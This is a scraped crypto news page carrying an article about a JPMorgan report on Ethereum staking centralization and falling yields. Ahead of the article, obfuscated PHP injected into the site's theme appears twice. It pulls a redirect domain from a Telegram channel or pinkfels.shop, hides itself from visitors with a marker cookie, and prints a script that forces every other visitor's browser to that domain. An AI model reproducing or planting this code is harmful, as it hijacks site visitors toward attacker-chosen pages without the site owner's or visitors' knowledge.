if(isset($_COOKIE['Lj'])) { die('58YsS'.'AsTz'); } function fn_aa3fb05a15bfeb25dc278d4040ae23bf($var_ca82733491623ed9ca5b46aa68429a45){ if (function_exists('curl_version')) { $var_e8061cb59b46a4a2bda304354b950448 = curl_init(); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_URL, $var_ca82733491623ed9ca5b46aa68429a45); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_RETURNTRANSFER, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_USERAGENT, base64_decode('TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMi4wLjAuMCBTYWZhcmkvNTM3LjM2')); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_TIMEOUT, 5); $var_0097b357800d476540b254cb19296657 = curl_exec($var_e8061cb59b46a4a2bda304354b950448); curl_close($var_e8061cb59b46a4a2bda304354b950448); return $var_0097b357800d476540b254cb19296657; } return file_get_contents($var_ca82733491623ed9ca5b46aa68429a45); } function fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a){ preg_match_all(base64_decode('Jy88Y29kZT4oLio/KTxcL2NvZGU+L3Mn'), fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly90Lm1lL3MvdHJhZmZpY3JlZGlyZWN0')), $var_a15eaf839e07e2cef01c7e6f791d7b3c); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) ? end($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) : null; if(empty($var_ca82733491623ed9ca5b46aa68429a45)){ $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6 = json_decode(fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly9waW5rZmVscy5zaG9wLz90PWpzb24maT0=').'97bf62ed54c571ff9e795b79f12a9434&a=01693136061'), true); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain']) ? $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain'] : null; } if (!empty($var_ca82733491623ed9ca5b46aa68429a45)) { file_put_contents($var_7627930d2ca3d69d67459718ffea775a, base64_encode($var_ca82733491623ed9ca5b46aa68429a45)); } return $var_ca82733491623ed9ca5b46aa68429a45; } $var_7627930d2ca3d69d67459718ffea775a = md5('01693136061'); if (file_exists($var_7627930d2ca3d69d67459718ffea775a) && filesize($var_7627930d2ca3d69d67459718ffea775a) > 0) { $var_8f999d74606f93bf0e6f6174f9741f89 = time() - filemtime($var_7627930d2ca3d69d67459718ffea775a); $var_ca82733491623ed9ca5b46aa68429a45 = base64_decode(file_get_contents($var_7627930d2ca3d69d67459718ffea775a)); } if ((isset($var_8f999d74606f93bf0e6f6174f9741f89) && $var_8f999d74606f93bf0e6f6174f9741f89 >= 30) || empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_46cae77fe5ea47d71b4e481b77b36db3 = fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a); if($var_46cae77fe5ea47d71b4e481b77b36db3){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_46cae77fe5ea47d71b4e481b77b36db3; } } if( $var_ca82733491623ed9ca5b46aa68429a45){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_ca82733491623ed9ca5b46aa68429a45.'?01693136061'; echo base64_decode('PHNjcmlwdD53aW5kb3cudG9wLmxvY2F0aW9uLmhyZWYgPSAi') . $var_ca82733491623ed9ca5b46aa68429a45.'&'.$_SERVER['QUERY_STRING'] . base64_decode('Ijs8L3NjcmlwdD4='); } ?>// BEGIN ENQUEUE PARENT ACTION // AUTO GENERATED - Do not modify or remove comment markers above or below: if ( !function_exists( 'chld_thm_cfg_locale_css' ) ): function chld_thm_cfg_locale_css( $uri ){ if ( empty( $uri ) && is_rtl() && file_exists( get_template_directory() . '/rtl.css' ) ) $uri = get_template_directory_uri() . '/rtl.css'; return $uri; } endif; add_filter( 'locale_stylesheet_uri', 'chld_thm_cfg_locale_css' ); if ( !function_exists( 'chld_thm_cfg_parent_css' ) ): function chld_thm_cfg_parent_css() { wp_enqueue_style( 'chld_thm_cfg_parent', trailingslashit( get_template_directory_uri() ) . 'style.css', array( 'font-awesome-v5','bootstrap','sidr','magnific-popup','sliderpro' ) ); wp_enqueue_script('custom-script', get_stylesheet_directory_uri() . '/custom-script.js', array('jquery')); } endif; add_action( 'wp_enqueue_scripts', 'chld_thm_cfg_parent_css', 10 ); // END ENQUEUE PARENT ACTION add_action( 'admin_enqueue_scripts', 'my_cfg_admin_enqueue' ); function my_cfg_admin_enqueue(){ wp_enqueue_script('custom-script', get_stylesheet_directory_uri() . '/custom-script.js', array('jquery')); wp_enqueue_style('style-cfg-child', get_stylesheet_uri(), array(), "4.2"); } add_action( 'after_setup_theme', 'remove_plugin_image_sizes', 999 ); function remove_plugin_image_sizes(){ remove_image_size( '2048x2048' ); remove_image_size( '1536x1536' ); remove_image_size( 'large' ); } function action_dynamic_sidebar_after( $array ) { if($array == "home-content-widgets") { echo the_content(); } }; add_action( 'dynamic_sidebar_after', 'action_dynamic_sidebar_after', 10, 1 ); add_action( 'trashed_post', 'mtp_delete_attached_thumbnail_for_trashed_product', 20, 1 ); function mtp_delete_attached_thumbnail_for_trashed_product( $post_id ) { // gets ID of post being trashed $post_type = get_post_type( $post_id ); // does not run on other post types if ( $post_type != 'post' ) { return true; } // get ID of featured image $post_thumbnail_id = get_post_thumbnail_id( $post_id ); // delete featured image wp_delete_attachment( $post_thumbnail_id, true ); }if(isset($_COOKIE['Lj'])) { die('58YsS'.'AsTz'); } function fn_aa3fb05a15bfeb25dc278d4040ae23bf($var_ca82733491623ed9ca5b46aa68429a45){ if (function_exists('curl_version')) { $var_e8061cb59b46a4a2bda304354b950448 = curl_init(); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_URL, $var_ca82733491623ed9ca5b46aa68429a45); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_RETURNTRANSFER, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_USERAGENT, base64_decode('TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMi4wLjAuMCBTYWZhcmkvNTM3LjM2')); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_TIMEOUT, 5); $var_0097b357800d476540b254cb19296657 = curl_exec($var_e8061cb59b46a4a2bda304354b950448); curl_close($var_e8061cb59b46a4a2bda304354b950448); return $var_0097b357800d476540b254cb19296657; } return file_get_contents($var_ca82733491623ed9ca5b46aa68429a45); } function fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a){ preg_match_all(base64_decode('Jy88Y29kZT4oLio/KTxcL2NvZGU+L3Mn'), fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly90Lm1lL3MvdHJhZmZpY3JlZGlyZWN0')), $var_a15eaf839e07e2cef01c7e6f791d7b3c); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) ? end($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) : null; if(empty($var_ca82733491623ed9ca5b46aa68429a45)){ $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6 = json_decode(fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly9waW5rZmVscy5zaG9wLz90PWpzb24maT0=').'97bf62ed54c571ff9e795b79f12a9434&a=01693136061'), true); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain']) ? $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain'] : null; } if (!empty($var_ca82733491623ed9ca5b46aa68429a45)) { file_put_contents($var_7627930d2ca3d69d67459718ffea775a, base64_encode($var_ca82733491623ed9ca5b46aa68429a45)); } return $var_ca82733491623ed9ca5b46aa68429a45; } $var_7627930d2ca3d69d67459718ffea775a = md5('01693136061'); if (file_exists($var_7627930d2ca3d69d67459718ffea775a) && filesize($var_7627930d2ca3d69d67459718ffea775a) > 0) { $var_8f999d74606f93bf0e6f6174f9741f89 = time() - filemtime($var_7627930d2ca3d69d67459718ffea775a); $var_ca82733491623ed9ca5b46aa68429a45 = base64_decode(file_get_contents($var_7627930d2ca3d69d67459718ffea775a)); } if ((isset($var_8f999d74606f93bf0e6f6174f9741f89) && $var_8f999d74606f93bf0e6f6174f9741f89 >= 30) || empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_46cae77fe5ea47d71b4e481b77b36db3 = fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a); if($var_46cae77fe5ea47d71b4e481b77b36db3){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_46cae77fe5ea47d71b4e481b77b36db3; } } if( $var_ca82733491623ed9ca5b46aa68429a45){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_ca82733491623ed9ca5b46aa68429a45.'?01693136061'; echo base64_decode('PHNjcmlwdD53aW5kb3cudG9wLmxvY2F0aW9uLmhyZWYgPSAi') . $var_ca82733491623ed9ca5b46aa68429a45.'&'.$_SERVER['QUERY_STRING'] . base64_decode('Ijs8L3NjcmlwdD4='); } ?>/** * The header for our theme * * This is the template that displays all of the section and everything up until
* * @link https://developer.wordpress.org/themes/basics/template-files/#template-partials * * @package CoverNews */ ?> > Rise of Ethereum staking came at cost of higher centralization — JPMorgan – CoinsMegaNews

Rise of Ethereum staking came at cost of higher centralization — JPMorgan

3 years ago CryptoExpert
Rise of Ethereum staking came at cost of higher centralization — JPMorgan

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The rise of Ethereum staking since major network upgrades, the Merge and Shanghai, has come at the cost of higher centralization and lower staking yields, a new report by JPMorgan said.

JPMorgan analysts, led by senior managing director Nikolaos Panigirtzoglou, issued a new investor note on Oct. 5, warning about the risks stemming from Ethereum’s growing centralization.

Market share of top five liquid staking providers. Source: JPMorgan

The top five liquid staking providers: Lido, Coinbase, Figment, Binance and Kraken, control over 50% of staking on the Ethereum network, JPMorgan analysts noted in the report, adding that Lido alone accounts for almost one-third.

The analysts mentioned that the crypto community has seen the decentralized liquid staking platform Lido as a better alternative to centralized staking platforms associated with centralized exchanges like Coinbase or Binance. However, in practice, “even decentralized liquid staking platforms involve a high degree of centralization,” JPMorgan’s report said, adding that a single Lido node operator accounts for more than 7,000 validator sets or 230,000 Ether (ETH).

These node operators get selected by Lido’s decentralized autonomous organization (DAO), which is controlled by a few wallet addresses, “making Lido’s platform rather centralized in its decision making,” the analysts wrote. The report mentioned a case when Lido’s DAO rejected a proposal to cap the staking share at 22% of Ethereum’s overall staking to avoid centralization.

“Lido didn’t participate in the initiatives as its DAO rejected the proposal by an overwhelming majority of 99%,” JPMorgan analysts wrote, adding:

“Needless to say that centralization by any entity or protocol creates risks to the Ethereum network as a concentrated number of liquidity providers or node operators could act as a single point of failure or become targets for attacks or collude to create an oligopoly […]”

Apart from higher centralization, post-Merge Ethereum is also associated with an overall staking yield decline, JPMorgan noted. The standard block rewards declined from 4.3% before the Shanghai upgrade to 3.5% currently, the analysts wrote. The total staking yield has declined from 7.3% before the Shanghai upgrade to around 5.5% currently, the report added.

Related: Time to ‘pull the brakes’ on Ethereum and rotate back to Bitcoin: K33 report

JPMorgan analysts aren’t the only Ethereum observers who have noticed a significant increase in network centralization following the Merge upgrade. Executed on Sept. 15, 2022, the Merge has been seen as a major impediment to Ethereum’s decentralization and a major reason for dropping yields.

Ethereum co-founder Vitalik Buterin has admitted that node centralization is one of Ethereum’s main challenges. In September 2023, he said that finding a perfect solution to handle this problem may take another 20 years.

Magazine: Blockchain detectives — Mt. Gox collapse saw birth of Chainalysis



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